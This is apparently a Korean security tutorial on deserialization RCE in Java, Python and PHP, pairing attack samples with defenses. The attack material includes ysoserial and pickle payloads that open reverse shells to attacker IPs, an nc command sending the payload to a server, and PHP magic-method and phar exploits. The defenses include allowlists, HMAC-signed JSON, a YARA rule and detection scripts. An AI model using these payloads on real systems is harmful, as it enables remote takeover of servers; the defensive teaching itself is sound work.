/보안 기법/역직렬화 공격 — Java/Python/PHP RCE
웹 취약점2026-05-03

역직렬화 공격 — Java/Python/PHP RCE

역직렬화(Deserialization) 공격은 신뢰할 수 없는 데이터를 역직렬화하는 과정에서 공격자가 임의의 코드를 실행하거나 애플리케이션의 로직을 변조하는 공격 기법입니다. OWASP Top 10에 포함될 만큼 광범위하게 발생하며, 특히 Java, Python, PHP, Ruby 등 다양한 언어에서 치명적인 취약점으로 나타납니다.

#Deserialization#Java#Python#PHP#RCE#역직렬화

역직렬화(Deserialization) 공격 (Java/Python/PHP RCE)

기본 원리

역직렬화(Deserialization) 공격은 신뢰할 수 없는 데이터를 역직렬화하는 과정에서 공격자가 임의의 코드를 실행하거나 애플리케이션의 로직을 변조하는 공격 기법입니다. OWASP Top 10에 포함될 만큼 광범위하게 발생하며, 특히 Java, Python, PHP, Ruby 등 다양한 언어에서 치명적인 취약점으로 나타납니다.

직렬화와 역직렬화란?

직렬화 (Serialization):
객체 → 바이트 스트림 / 문자열

역직렬화 (Deserialization):
바이트 스트림 / 문자열 → 객체

직렬화는 객체를 저장하거나 네트워크로 전송하기 위해 변환하는 과정입니다. 역직렬화는 그 반대로, 변환된 데이터에서 객체를 복원합니다. 문제는 역직렬화 과정에서 객체 생성에 따른 코드(생성자, 소멸자, 매직 메서드 등)가 실행될 수 있다는 점입니다.

공격의 핵심 개념: 가젯 체인(Gadget Chain)

공격자는 애플리케이션의 클래스패스에 이미 존재하는 클래스들의 메서드를 체인처럼 연결하여 RCE를 달성합니다. 이미 로드된 라이브러리에서 "가젯(gadget)"이 될 수 있는 클래스들을 조합합니다.

역직렬화 진입점 → Gadget 1 (체인 시작) → Gadget 2 → ... → 코드 실행

Java 역직렬화 공격

취약한 코드 패턴

import java.io.*;
import java.net.*;

// 취약한 서버 코드
public class VulnerableServer {
    public static void main(String[] args) throws Exception {
        ServerSocket serverSocket = new ServerSocket(8080);
        
        while (true) {
            Socket client = serverSocket.accept();
            ObjectInputStream ois = new ObjectInputStream(
                client.getInputStream()
            );
            
            // 위험! 신뢰할 수 없는 데이터를 그대로 역직렬화
            Object obj = ois.readObject();
            processObject(obj);
        }
    }
}

Commons Collections 가젯 체인 (CVE-2015-4852)

Apache Commons Collections 3.1은 Java 역직렬화 공격에서 가장 유명한 가젯 체인을 제공합니다.

// 가젯 체인의 핵심 클래스들
// 1. InvokerTransformer - 리플렉션을 통해 임의 메서드 호출
// 2. ChainedTransformer - 여러 Transformer를 체인으로 연결
// 3. LazyMap - get() 호출 시 transform 실행
// 4. TiedMapEntry - toString() 호출 시 map.get() 실행
// 5. BadAttributeValueExpException - 역직렬화 시 toString() 호출

// ysoserial 도구를 사용한 페이로드 생성
// java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser
# ysoserial을 이용한 페이로드 생성
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Windows 계산기 실행 페이로드
java -jar ysoserial-all.jar CommonsCollections1 "calc.exe" > cc1.ser

# Linux에서 리버스쉘 페이로드
java -jar ysoserial-all.jar CommonsCollections6 \
  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" \
  > revshell.ser

# 취약한 서버로 페이로드 전송
nc -w 3 vulnerable-server.com 8080 < revshell.ser

Spring Framework 역직렬화 (CVE-2016-1000027)

// Spring의 HttpInvokerServiceExporter 취약점
// 취약한 설정
@Bean
public HttpInvokerServiceExporter accountService() {
    HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter();
    exporter.setService(new AccountServiceImpl());
    exporter.setServiceInterface(AccountService.class);
    return exporter;
}

// 이 엔드포인트로 악성 직렬화 데이터 전송 가능
// POST /accountService HTTP/1.1
// Content-Type: application/x-java-serialized-object

안전한 역직렬화 구현 (Java)

import java.io.*;
import java.util.Set;
import java.util.HashSet;

// 화이트리스트 기반 역직렬화 필터
public class SafeObjectInputStream extends ObjectInputStream {
    
    // 허용된 클래스 목록
    private static final Set<String> ALLOWED_CLASSES = new HashSet<>();
    
    static {
        ALLOWED_CLASSES.add("com.myapp.models.User");
        ALLOWED_CLASSES.add("com.myapp.models.Order");
        ALLOWED_CLASSES.add("java.util.ArrayList");
        ALLOWED_CLASSES.add("java.lang.String");
    }
    
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        
        String className = desc.getName();
        
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new SecurityException(
                "허용되지 않은 클래스 역직렬화 시도: " + className
            );
        }
        
        return super.resolveClass(desc);
    }
}

// Java 9+ 직렬화 필터
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.models.*;java.util.*;java.lang.String;!*"
);
ois.setObjectInputFilter(filter);

Python 역직렬화 공격 (Pickle)

Pickle 취약점 원리

Python의 pickle 모듈은 역직렬화 시 __reduce__ 메서드를 호출하며, 이를 통해 임의의 코드 실행이 가능합니다.

import pickle
import os
import base64

# 악성 페이로드 클래스
class MaliciousPayload:
    def __reduce__(self):
        # 역직렬화 시 실행될 명령
        cmd = "id > /tmp/pwned; whoami >> /tmp/pwned"
        return (os.system, (cmd,))

# 페이로드 직렬화
payload = pickle.dumps(MaliciousPayload())
print(f"페이로드 (base64): {base64.b64encode(payload).decode()}")

# 취약한 서버에서 이 데이터를 역직렬화하면 명령 실행
# pickle.loads(payload) → os.system("id > /tmp/pwned") 실행

리버스 쉘 페이로드

import pickle
import os
import socket
import subprocess
import base64

class ReverseShell:
    def __reduce__(self):
        # 리버스 쉘 코드
        reverse_shell_code = (
            "python3 -c '"
            "import socket,subprocess,os;"
            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
            "s.connect((\"192.168.1.100\",4444));"
            "os.dup2(s.fileno(),0);"
            "os.dup2(s.fileno(),1);"
            "os.dup2(s.fileno(),2);"
            "subprocess.call([\"/bin/sh\",\"-i\"])'"
        )
        return (os.system, (reverse_shell_code,))

# 페이로드 생성
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(f"Pickle payload: {payload}")

취약한 Flask 앱 예시

from flask import Flask, request, jsonify
import pickle
import base64

app = Flask(__name__)

# 취약한 API 엔드포인트
@app.route('/api/load-session', methods=['POST'])
def load_session():
    data = request.json.get('session_data')
    
    # 위험! 사용자 입력을 그대로 역직렬화
    session = pickle.loads(base64.b64decode(data))
    
    return jsonify({'user': session.get('username')})

안전한 Python 직렬화

import json
import hmac
import hashlib
import os

SECRET_KEY = os.environ.get('SECRET_KEY', os.urandom(32))

class SafeSerializer:
    """JSON 기반 안전한 직렬화"""
    
    @staticmethod
    def serialize(data: dict) -> str:
        json_str = json.dumps(data, ensure_ascii=False)
        # HMAC 서명 추가
        signature = hmac.new(
            SECRET_KEY, 
            json_str.encode(), 
            hashlib.sha256
        ).hexdigest()
        return f"{json_str}:{signature}"
    
    @staticmethod
    def deserialize(token: str) -> dict:
        try:
            json_str, signature = token.rsplit(':', 1)
            # 서명 검증
            expected = hmac.new(
                SECRET_KEY,
                json_str.encode(),
                hashlib.sha256
            ).hexdigest()
            
            if not hmac.compare_digest(signature, expected):
                raise ValueError("서명 검증 실패 - 데이터 변조 의심")
            
            return json.loads(json_str)
        except Exception as e:
            raise ValueError(f"역직렬화 실패: {e}")

# 사용 예시
serializer = SafeSerializer()
token = serializer.serialize({'user_id': 123, 'role': 'user'})
data = serializer.deserialize(token)

PHP 역직렬화 공격

PHP Magic Method 악용

PHP는 역직렬화 시 자동으로 호출되는 매직 메서드들이 있습니다.

<?php
// 위험한 매직 메서드들
class VulnerableClass {
    public $command;
    
    // 역직렬화 완료 시 자동 호출
    public function __wakeup() {
        // $command가 공격자에 의해 제어됨
        echo shell_exec($this->command); // RCE!
    }
    
    // 소멸자 - 객체가 해제될 때 호출
    public function __destruct() {
        system($this->command); // RCE!
    }
    
    // 문자열로 변환 시 호출
    public function __toString() {
        return file_get_contents($this->command); // 파일 읽기!
    }
}

// 취약한 코드
$data = $_COOKIE['user_data'];
$obj = unserialize($data); // 위험!

PHP 가젯 체인 예시

<?php
// 실제 공격에서 사용되는 가젯 체인 패턴
// (Monolog 라이브러리를 활용한 예시)

class ExploitChain {
    // 1단계: __destruct → __toString 호출 체인
    public $logger;
    
    public function __destruct() {
        // logger를 문자열로 강제 변환
        $result = (string)$this->logger;
    }
}

class FakeLogger {
    public $handler;
    
    // 2단계: __toString → handler 메서드 호출
    public function __toString() {
        return $this->handler->handle(['message' => 'test']);
    }
}

// 페이로드 생성
$exploit = new ExploitChain();
$logger = new FakeLogger();
// ... 체인 구성
$payload = serialize($exploit);
echo base64_encode($payload);

PHP Phar 역직렬화 (파일 작업 시)

<?php
// phar:// 스트림 래퍼를 이용한 역직렬화
// 파일 존재 여부 확인만 해도 역직렬화 트리거됨

class MaliciousClass {
    public function __destruct() {
        system('id');
    }
}

// 악성 phar 파일 생성 (공격자 측)
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$obj = new MaliciousClass();
$phar->setMetadata($obj); // 직렬화된 객체 포함
$phar->stopBuffering();

// 공격: 업로드된 malicious.phar를 file_exists()로 접근하면 RCE
// file_exists("phar:///uploads/malicious.jpg") // .phar가 아닌 다른 확장자도 가능

안전한 PHP 구현

<?php
// JSON 사용으로 Pickle/unserialize 대체
class SafeSession {
    private $secret;
    
    public function __construct(string $secret) {
        $this->secret = $secret;
    }
    
    public function encode(array $data): string {
        $json = json_encode($data, JSON_THROW_ON_ERROR);
        $signature = hash_hmac('sha256', $json, $this->secret);
        return base64_encode($json . '.' . $signature);
    }
    
    public function decode(string $token): array {
        $decoded = base64_decode($token);
        $lastDot = strrpos($decoded, '.');
        
        $json = substr($decoded, 0, $lastDot);
        $signature = substr($decoded, $lastDot + 1);
        
        $expectedSig = hash_hmac('sha256', $json, $this->secret);
        
        // 타이밍 공격 방지를 위한 상수 시간 비교
        if (!hash_equals($expectedSig, $signature)) {
            throw new \RuntimeException('서명 검증 실패');
        }
        
        return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
    }
}

방어 방법

1. 공통 방어 원칙

✓ 직렬화된 데이터를 절대 신뢰하지 않음
✓ 역직렬화 전 무결성 검증 (HMAC, 디지털 서명)
✓ 안전한 형식으로 대체 (JSON, XML 스키마 검증 후)
✓ 역직렬화 클래스 화이트리스트 적용
✓ 역직렬화 실행 환경 격리 (샌드박스)
✓ 최소 권한 원칙으로 실행

2. Java 직렬화 완전 비활성화

// ObjectInputStream을 완전히 차단하는 에이전트
// -javaagent:notSerializableExceptionAgent.jar 옵션으로 실행

public class NotSerializableExceptionAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
                            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/io/ObjectInputStream")) {
                // 바이트코드 수정으로 역직렬화 차단
                return patchObjectInputStream(classfileBuffer);
            }
            return classfileBuffer;
        });
    }
}

탐지 방법

Java 역직렬화 트래픽 탐지

# Wireshark/tcpdump로 Java 직렬화 매직 바이트 탐지
# Java 직렬화 데이터는 0xACED0005로 시작
tcpdump -i eth0 -w capture.pcap 'tcp port 8080'

# 캡처된 데이터에서 Java 직렬화 매직 바이트 검색
python3 -c "
import re, sys
data = open('capture.pcap', 'rb').read()
# Java 직렬화 매직 바이트
magic = b'\xac\xed\x00\x05'
positions = [i for i in range(len(data)) if data[i:i+4] == magic]
print(f'Java 직렬화 데이터 발견: {len(positions)}건')
for pos in positions[:5]:
    print(f'  오프셋 {pos}: {data[pos:pos+50].hex()}')
"

YARA 규칙으로 페이로드 탐지

rule JavaDeserializationPayload {
    meta:
        description = "Java 역직렬화 공격 페이로드 탐지"
        severity = "HIGH"
    
    strings:
        // Java 직렬화 매직 바이트
        $java_magic = { AC ED 00 05 }
        // Commons Collections 관련 클래스명
        $cc1 = "org.apache.commons.collections"
        $cc2 = "InvokerTransformer"
        $cc3 = "ChainedTransformer"
        // Runtime 실행 패턴
        $runtime = "java/lang/Runtime"
        $exec = "exec"
    
    condition:
        $java_magic and any of ($cc1, $cc2, $cc3) and
        any of ($runtime, $exec)
}

애플리케이션 레벨 모니터링

// 역직렬화 시도 감사 로깅
public class AuditingObjectInputStream extends ObjectInputStream {
    private static final Logger logger = 
        LoggerFactory.getLogger(AuditingObjectInputStream.class);
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        
        String className = desc.getName();
        logger.warn("역직렬화 시도: 클래스={}, IP={}", 
                    className, getCurrentRequestIP());
        
        // 메트릭 수집
        Metrics.counter("deserialization.attempt",
            "class", className).increment();
        
        return super.resolveClass(desc);
    }
}

참고 도구 및 자원

도구/자원 종류 설명 URL
ysoserial 공격 도구 Java 역직렬화 페이로드 생성기 github.com/frohoff/ysoserial
marshalsec 공격 도구 다양한 Java 직렬화 라이브러리 페이로드 github.com/mbechler/marshalsec
PHPGGC 공격 도구 PHP 가젯 체인 생성기 github.com/ambionics/phpggc
Serialization Killer 방어 도구 Java 역직렬화 차단 라이브러리 github.com/Wouter-Cams/serialization-killer
NotSoSerial 방어 도구 Java 역직렬화 Java Agent github.com/kantega/notsoserial
OWASP Deserialize Cheat Sheet 참고 문서 언어별 안전한 역직렬화 가이드 cheatsheetseries.owasp.org

⚠️ 주의사항: 역직렬화 공격은 단순한 데이터 조작을 넘어 서버 전체를 장악하는 RCE로 직결될 수 있는 매우 위험한 취약점입니다. ysoserial, PHPGGC 등의 도구는 교육 및 취약점 연구 목적으로만 사용해야 하며, 허가받지 않은 시스템에 대한 사용은 중대한 범죄 행위입니다. 프로덕션 환경에서는 직렬화 자체를 최소화하고 JSON 등 안전한 대안을 사용하는 것을 강력히 권장합니다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.